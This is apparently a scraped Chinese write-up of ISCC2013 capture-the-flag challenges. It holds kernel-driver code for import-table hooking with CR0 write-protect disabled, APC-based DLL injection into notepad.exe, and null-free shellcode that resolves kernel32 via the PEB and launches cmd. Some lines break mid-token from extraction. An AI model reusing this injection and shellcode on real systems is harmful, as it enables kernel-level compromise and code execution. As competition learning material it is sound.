thunk++; firstThunkList++; } if(foundIt==FALSE) { ZwClose(hSection); return 0; } ZwClose(hSection); return 0; } NTSTATUS MyPsGetCurrentProcessId() { DbgPrint("HOOK_PsGetCurrentProcessId called!\n"); ((PSGETCURRENTPROCESSID)(g_OriginalPsGetCurrentProcessId))(); } VOID Unload(IN PDRIVER_OBJECT DriverObject) { if(NULL == g_FunctionInMemory || NULL == g_OriginalPsGetCurrentProcessId) return; _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = g_OriginalPsGetCurrentProcessId; _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { DWORD ret = 0; DWORD RVA, Thunk; char functionName[] = "PsGetCurrentProcessId"; char libraryName[] = "ntoskrnl.exe"; PVOID base = NULL; base = GetDriverBaseAdress("ISCC2013Kernel4.sys"); if(NULL==base) { DbgPrint("base not found"); return STATUS_SUCCESS; } ret = GetFunctionRav(functionName, libraryName, &Thunk, &RVA ); if(0==ret) { DbgPrint("IATPointerRVA not found"); return STATUS_SUCCESS; } g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA; DbgPrint("the function adress in memory is:%x",g_FunctionInMemory); if(NULL==g_FunctionInMemory) { DbgPrint("IATFunctionPointer not found"); return STATUS_SUCCESS; } g_OriginalPsGetCurrentProcessId = *(PVOID*)g_FunctionInMemory;

/*_asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId; DbgPrint("HOOK SUCESS"); _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }*/ if(NULL != g_FunctionInMemory && NULL != g_OriginalPsGetCurrentProcessId){ _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = PsGetCurrentProcessId; _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }

typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, // 0 Y N SystemProcessorInformation, // 1 Y N SystemPerformanceInformation, // 2 Y N SystemTimeOfDayInformation, // 3 Y N SystemNotImplemented1, // 4 Y N SystemProcessesAndThreadsInformation, // 5 Y N SystemCallCounts, // 6 Y N SystemConfigurationInformation, // 7 Y N SystemProcessorTimes, // 8 Y N SystemGlobalFlag, // 9 Y Y SystemNotImplemented2, // 10 Y N SystemModuleInformation, // 11 Y N SystemLockInformation, // 12 Y N SystemNotImplemented3, // 13 Y N SystemNotImplemented4, // 14 Y N SystemNotImplemented5, // 15 Y N SystemHandleInformation, // 16 Y N SystemObjectInformation, // 17 Y N SystemPagefileInformation, // 18 Y N SystemInstructionEmulationCounts, // 19 Y N SystemInvalidInfoClass1, // 20 SystemCacheInformation, // 21 Y Y SystemPoolTagInformation, // 22 Y N SystemProces sorStatistics, // 23 Y N SystemDpcInformation, // 24 Y Y SystemNotImplemented6, // 25 Y N SystemLoadImage, // 26 N Y SystemUnloadImage, // 27 N Y SystemTimeAdjustment, // 28 Y Y SystemNotImplemented7, // 29 Y N SystemNotImplemented8, // 30 Y N SystemNotImplemented9,

// 31 Y N SystemCrashDumpInformation, // 32 Y N SystemExceptionInformation, // 33 Y N SystemCrashDumpStateInformation, // 34 Y Y/N SystemKernelDebuggerInformation, // 35 Y N SystemContextSwitchInformation, // 36 Y N SystemRegistryQuotaInformation, // 37 Y Y SystemLoadAndCallImage, // 38 N Y SystemPrioritySeparation, // 39 N Y SystemNotImplemented10, // 40 Y N SystemNotImplemented11, // 41 Y N SystemInvalidInfoClass2, // 42 SystemInvalidInfoClass3, // 43 SystemTimeZoneInformation, // 44 Y N SystemLookasideInformation, // 45 Y N SystemSetTimeSlipEvent, // 46 N Y SystemCreateSession, // 47 N Y SystemDeleteSession, // 48 N Y SystemInvalidInfoClass4, // 49 SystemRangeStartInformation, // 50 Y N SystemVerifierInformation, // 51 Y Y SystemAddVerifier, // 52 N Y SystemSessionProcessesInformation // 53 Y N } SYSTEM_INFORMATION_CLASS; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11 ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef unsigned short WORD; typedef unsigned char BYTE; typedef unsigned long DWORD; typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 typedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // NT additional fields. // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; typedef

IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER; typedef PIMAGE_OPTIONAL_HEADER32 PIMAGE_OPTIONAL_HEADER; typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA; typedef PIMAGE_THUNK_DATA32 PIMAGE_THUNK_DATA; typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Chara cteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory typedef unsigned char *PBYTE; typedef struct _GENERATE_NAME_CONTEXT { USHORT Checksum; BOOLEAN CheckSumInserted; UCHAR NameLength; WCHAR NameBuffer[8]; ULONG ExtensionLength; WCHAR ExtensionBuffer[4]; ULONG LastIndexValue; } GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT; typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; #define SEC_IMAGE 0x01000000 #define SEC_BASED 0x00200000 typedef struct _SECTION_IMAGE_INFORMATION { PVOID EntryPoint; ULONG StackZeroBits; ULONG StackReserved; ULONG StackCommit; ULONG ImageSubsystem; WORD SubsystemVersionLow; WORD SubsystemVersionHigh; ULONG Unknown1; ULONG ImageCharacteristics; ULONG ImageMachineType; ULONG Unknown2[3]; } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; NTSYSAPI NTSTATUS NTAPI ZwCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );

进程注入
思路是 PsSetLoadImageNotifyRoutine 回调函数,枚举所有进程再加上 PAC 注入。 #include <ntddk.h>

#define MAX_PID 65535

/////////////////////////////////////////////////////////////////////////////// ////////////////////////// NTSTATUS InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess); void ApcCreateProcessEnd(); void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2);

typedef enum { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment } KAPC_ENVIRONMENT;

typedef struct _KAPC_STATE { LIST_ENTRY ApcListHead[MaximumMode]; struct _KPROCESS *Process; BOOLEAN KernelApcInProgress; BOOLEAN KernelApcPending; BOOLEAN UserApcPending; } KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;

VOID KeInitializeApc ( PKAPC Apc, PETHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode,

PVOID NormalContext );

BOOLEAN KeInsertQueueApc ( PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment );

NTSTATUS PsLookupProcessByProcessId( HANDLE ProcessId, PEPROCESS *Process );

UCHAR * PsGetProcessImageFileName( PEPROCESS Process ); VOID KeStackAttachProcess ( IN PVOID Process, OUT PRKAPC_STATE ApcState ); VOID KeUnstackDetachProcess( IN PRKAPC_STATE ApcState ); /////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////

//============================================================================= ==========// // InjectDll 遍历进程,得到根据名字找到我们想要注入的进程,得到进程后遍历线程.找受 信??线程序// //注意这里 ETHREAD 我是用 XP..在其他操作系统可能一些偏移不同 // //============================================================================= =========//

void InjectDll(LPSTR DllFullPath,ULONG pid) { //全部定义为 ULONG 类型 ULONG pTargetProcess; ULONG pTargetThread; ULONG pNotAlertableThread; ULONG pSystemProcess; ULONG pTempThread; ULONG pNextEntry, pListHead, pThNextEntry,pThListHead; PEPROCESS EProcess; NTSTATUS status;

status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess); if((NT_SUCCESS(status))) { pSystemProcess=(ULONG)EProcess; pTargetProcess =pSystemProcess; pTargetThread = pNotAlertableThread = 0; pThListHe ad = pSystemProcess+0x50; pThNextEntry=*(ULONG *)pThListHead; while(pThNextEntry != pThListHead) { pTempThread =pThNextEntry-0x1b0; //ETHREAD if(*(char *)(pTempThread+0x164)) // 受 信 ?? { pTargetThread =pTempThread; break; } else { pNotAlertableThread =pTempThread; } pThNextEntry = *(ULONG *)pThNextEntry; break; } }

if(!pTargetProcess) return; if(!pTargetThread) pTargetThread = pNotAlertableThread; if(pTargetThread) { InstallUserModeApc(DllFullPath,pTargetThread,pTargetProcess); } else DbgPrint(" No thread found!"); } static HANDLE oldPid; static HANDLE newPid; VOID Work ( PUNICODE_STRING FullImageName, HANDLE ProcessId, // where image is mapped PIMAGE_INFO ImageInfo ) { PEPROCESS EProcess; char *FileName = NULL; PsLookupProcessByProcessId((HANDLE)ProcessId, &EProcess); FileName = (char *)PsGetProcessImageFileName(EProcess); if((strcmp(FileName, "notepad.exe") == 0) || (strcmp(FileName, "notepad") == 0)) { newPid = ProcessId; KdPrint(("old pid is %d. ", oldPid)); if(oldPid != newPid) { oldPid = newPid; KdPrint(("%d %s\n", newPid,FileName)); InjectDll("c:\\InjectDLL.dll",(ULONG)ProcessId ); } } } //释放 InstallUserModeApc 中分配的内 存,一个内核例程 PMDL pMdl = NULL; void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) { if (Apc) ExFreePool(Apc); if(pMdl) { MmUnlockPages(pMdl); IoFreeMdl (pMdl); pMdl = NULL; } DbgPrint("ApcKernelRoutine called. Memory freed."); } //安装 APC,首先是把我们要在用户执 行的代码映射带用户态的空间 MmMapLockedPagesSpecifyCache //因为 loadlibrary 所要用到 的参数我们不可能直接用内核的数据....因为它只能在用户态执行,不能访问内核空间,所以我 们要把参数做下处理 // memset ((unsigned char*)pMappedAddress + 0x14, 0, 300); // memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); // data_addr = (ULONG*)((char*)pMappedAddress+0x9); // *data_addr = dwMappedAddress+0x14; NTSTATUS InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess) { PRKAPC pApc = NULL; PVOID pMappedAddress = NULL; ULONG dwSize = 0; KAPC_STATE ApcState; ULONG *data_addr=0; ULONG dwMappedAddress = 0; NTSTATUS Status = STATUS_UNSUCCESSFUL; if (!pTargetThread || !pTargetProcess) return STATUS_UNSUCCESSFUL; /////////////////////////////////////////////////////////////////////////////////////////////////////////// pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); if (!pApc) { DbgPrint("Failed to allocate memory for the APC structure"); return STATUS_INSUFFICIENT_RESOURCES; } dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess; pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL); if (!pMdl) { DbgPrint(" Failed to allocate MDL"); ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; } __try { MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Exception during MmProbeAndLockPages"); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } KeStackAttachProcess((ULONG *)pTargetProcess,&ApcState);// 进 入 目 标 进 程 的 上 下 文 pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority); if (!pMappedAddress) { DbgPrint("Cannot map address"); KeUnstackDetachProcess (&ApcState); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } else DbgPrint("UserMode memory at address: 0x%p",pMappedAddress); dwMappedAddress = (ULONG)pMappedAddress; ///////////////////////////////////////////////////////////// //0x14 注意后面的 ApcCreateProcess..有改其他函数 的话这俩个地方都注意下 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);//zero everything out ecxept our assembler code memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); //copy the path to the executable data_addr =

(ULONG*)((char*)pMappedAddress+0x9); *data_addr = dwMappedAddress+0x14; KeUnstackDetachProcess (&ApcState); // 初 始 化 APC, 插 APC KeInitializeApc(pApc, (PETHREAD)pTargetThread, OriginalApcEnvironment, &ApcKernelRoutine, NULL, pMappedAddress, UserMode, (PVOID) NULL); if (!KeInsertQueueApc(pApc,0,NULL,0)) { DbgPrint("KernelExec -> Failed to insert APC"); MmUnlockPages(pMdl); IoFreeMdl (pMdl); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } else { DbgPrint("APC delivered"); } // 使线程处于警告状态,注意不同操作系统的 ETHREAD if(!*(char *)(pTargetThread+0x4a)) { *(char *)(pTargetThread+0x4a) = TRUE; } return 0; } __declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOI D SystemArgument2) { __asm { //我的机器的 loadlibrary 的地址 mov eax,0x7C801d77 nop//-------sysnap 注:这些 nop 是保证前面 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);之类的正常: //如果改成执行其他函数,注意这些 NOP 与前面的 0x14 之类的是否对应 nop nop push 0xabcd //因为用户程序无法访问内核空间,所以路径不能直接引用 lpProcess call eax jmp end nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop end: nop ret 0x0c } } void ApcCreateProcessEnd(){} VOID Unload(PDRIVER_OBJECT DriverObject) { DbgPrint("Driver Unloaded"); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING pRegistryPath) { //InjectDll("c:\\InjectDLL.dll",0); DbgPrint("Driver Entry"); PsSetLoadImageNotifyRoutine(Work); DriverObject->DriverUnload = Unload; return STATUS_SUCCESS; }

空壳
不会··呜呜呜····

3600

不会··呜呜呜····

扩展 adore-ng
不会··呜呜呜····

溢出题
开一个 DOS 窗口
这题需要写一个通用的 shellcode,并且不能包含 00,需要动态搜索 kernel32.dll 的基址 一切语言都是苍白无力的,还是上图来得实在。

这里的 PEB 是 Process Environment Block

TEB 是 Thread Environment Block

其中 PEB 中的成员 LDR_DATA 包含 3 个指针,这三个指针其实只想同一条链表, 使用不同指针的时候偏移不同。 看了上面的图, 应该就有大致思路了,来看寻找 kernel32 模块的一下汇编代码。 find_kernel32: push esi xor ecx, ecx mov esi, [fs:ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8]

//PEB = FS:0x30 //LDR = PEB:0x0c //FLink = LDR:0x1c //函数返回时 eax 保存模块基址

mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx 00 jne next_module pop esi Ret
这里是补全后的汇编代码 __asm{ find_kernel32: push ecx push esi push edi xor ecx, ecx

//指向 BaseDllName //这里是转移到链表的下一个 //kernel32.dll 12*2 个字节最后一位正好是

mov esi, fs:[ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8] mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx jne next_module pop edi pop esi pop ecx mov ebx,eax //LoadLibrary("msvcrt.dll"); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],6Dh //m mov byte ptr[ebp-0Bh],73h //s mov byte ptr[ebp-0Ah],76h //v mov byte ptr[ebp-09h],63h //c mov byte ptr[ebp-08h],72h //r mov byte ptr[ebp-07h],74h //t mov byte ptr[ebp-06h],2Eh //. mov byte ptr[ebp-05h],64h //d mov byte ptr[ebp-04h],6Ch //l mov byte ptr[ebp-03h],6Ch //l mov byte ptr[ebp-02h],0h lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,1d7bh //得到 LoadLibraryw 地址 call eax mov esp,ebp pop ebp mov ebx,eax //MSCCRT.dll 句柄(地址)在 ecx 中 // system(start cmd ); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],73h //s mov byte ptr[ebp-0Bh],74h //t mov byte ptr[ebp-0Ah],61h //a mov byte ptr[ebp-09h],72h //r mov byte ptr[ebp-08h],74h //t mov byte ptr[ebp-07h],20h // mov byte ptr[ebp-06h],63h //c mov byte ptr[ebp-05h],6Dh //m mov byte ptr[ebp-04h],64h //d mov byte ptr[ebp-03h],0h lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,193c7h call eax mov esp,ebp pop ebp } 转换成机器码后发现其中包含很多 00,这里使用加加减减的原则给它吧 00 都去掉 其中 mov byte ptr [ebp-2],0 换成 mov [ebp-2],cl 代码中 cl 恒为零

unsigned char shellcode[] = { "\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x 7E\x20\x8B\x36\x66\x39\x4F\x18\x75"

"\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x 45\xF5\x73\xC6\x45\xF6\x76\xC6\x45" "\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x 45\xFC\x6C\xC6\x45\xFD\x6C" //"\xC6\x45\xFE\x00" "\x88\x4D\xFE" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x 74\xC6\x45\xF9\x20\xC6\x45\xFA\x63" "\xC6\x45\xFB\x6D\xC6\x45\xFC\x64" //"\xC6\x45\xFD\x00" "\x88\x4D\xFD" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D" }; 最后在代码后面加上\xC3 应该就大功告成了,可是却显示了堆栈不平衡的报错,拿 OD 看了 一下发现 最程序最后检查堆栈平衡的函数里, 会拿 esi 和 esp 作比较来判断是否平衡, 而在程序中我 把 esi 拿去干别的了,却没有还原,导致报错。 在最后把 esi 还原一下就好啦~最终版本 #include "stdafx.h" #include "windows.h" #include "winsvc.h" #include "string.h" /*unsigned char shellcode[] = { "\x51\x56\x57\x33\xC9\x64\x8B\x71\x3w0\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\ x7E\x20\x8B\x36\x66\x39\x4F\x18\x75"

"\xF2\x5F\x5E\x59\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x 45\xF5\x73\xC6\x45\xF6\x76\xC6\x45" "\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x 45\xFC\x6C\xC6\x45\xFD\x6C" //"\xC6\x45\xFE\x00" "\x88\x4D\xFE" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x73\xC6\x45\xF5\x74\xC6\x45\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x 74\xC6\x45\xF9\x20\xC6\x45\xFA\x63" "\xC6\x45\xFB\x6D\xC6\x45\xFC\x64" //"\xC6\x45\xFD\x00" "\x88\x4D\xFD" "\x8D\x75\xF4\x56\x8B\xC3" "\x05\xC8\x94\x02\x01\x2D\x01\x01\x01\x01" //sub eax , 01010101 "\xFF\xD0\x8B\xE5\x5D\xC3" };*/ unsigned char shellcode[] = "\x51\x56\x57\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x 7E\x20" "\x8B\x36\x66\x39\x4F\x18\x75\xF2\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C" "\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x 72\xC6" "\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD\x6C\ x88\x4D" "\xFE\x8D\x75\xF4\x56\x8B\xC3\x05\x7C\x1E\x01\x01\x2D\x01\x01\x01\x01\xFF\xD0\x 8B\xE5" "\x5D\x8B\xD8\x55\x8B\xEC\x33\xC0\x83\xEC\x0C\xC6\x45\xF4\x73\xC6\x45\xF5\x74\x C6\x45" "\xF6\x61\xC6\x45\xF7\x72\xC6\x45\xF8\x74\xC6\x45\xF9\x20\xC6\x45\xFA\x63\xC6\x 45\xFB" "\x6D\xC6\x45\xFC\x64\x88\x4D\xFD\x8D\x75\xF4\x56\x8B\xC3\x05\xC8\x94\x02\x01\x 2D\x01" "\x01\x01\x01\xFF\xD0\x8B\xE5\x5D\x5F\x5E\x59\xC3"; typedef void (*MYPROC)(LPTSTR); int main(int argc, char* argv[]) { ((void (*)())&shellcode)(); return 0; __asm{ find_kernel32: push ecx push esi push edi xor ecx, ecx mov esi,

fs:[ecx+0x30] mov esi, [esi + 0x0c] mov esi, [esi + 0x1c] next_module: mov eax, [esi + 0x8] mov edi,[esi+0x20] mov esi ,[esi] cmp [edi+12*2],cx jne next_module mov ebx,eax //LoadLibrary("msvcrt.dll"); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],6Dh //m mov byte ptr[ebp-0Bh],73h //s mov byte ptr[ebp-0Ah],76h //v mov byte ptr[ebp-09h],63h //c mov byte ptr[ebp-08h],72h //r mov byte ptr[ebp-07h],74h //t mov byte ptr[ebp-06h],2Eh //. mov byte ptr[ebp-05h],64h //d mov byte ptr[ebp-04h],6Ch //l mov byte ptr[ebp-03h],6Ch //l mov [ebp-02h],cl lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,01011e7ch //得到 LoadLibraryw 地址 sub eax,01010101h call eax mov esp,ebp pop ebp mov ebx,eax //MSCCRT.dll 句柄(地址)在 ecx 中 // system(start cmd ); push ebp mov ebp,esp xor eax,eax sub esp,0ch mov byte ptr[ebp-0Ch],73h //s mov byte ptr[ebp-0Bh],74h //t mov byte ptr[ebp-0Ah],61h //a mov byte ptr[ebp-09h],72h //r mov byte ptr[ebp-08h],74h //t mov byte ptr[ebp-07h],20h // mov byte ptr[ebp-06h],63h //c mov byte ptr[ebp-05h],6Dh //m mov byte ptr[ebp-04h],64h //d mov [ebp-03h],cl lea esi,[ebp-0Ch] push esi mov eax,ebx add eax,010294c8h sub eax,01010101h call eax mov esp,ebp pop ebp pop edi pop esi pop ecx } return 0; }

我想要的输出
给出一段代码,要求溢出改变其输出,并给出了完整代码,前提是不考虑 GS 验证


更多相关文档:

ISCC2013攻略

ISCC2013攻略_学科竞赛_高中教育_教育专区。SCC2013攻略入门题很恶心的选择题,百度 google 各凭本事,总之做了一统,什么都没有记住。 基础题小豪的健忘症就是一个...

青年志愿者先进个人总结

志愿者: 2013 年 7 月 17 日 今日推荐 ...家装材料选购攻略 高端水龙头贵在哪儿 橱柜行业多“...文档贡献者 mniscc 贡献于2014-10-15 专题推荐 ...
更多相关标签:
iscc 2016 writeup | iscc 2017 | iscc 2016 | iscc认证 | iscc 2016 ctf答案 | iscc.exe | iscc2014 | iscc writeup |
网站地图

文档资料共享网 nexoncn.com copyright ©right 2010-2020。
文档资料共享网内容来自网络,如有侵犯请联系客服。email:zhit325@126.com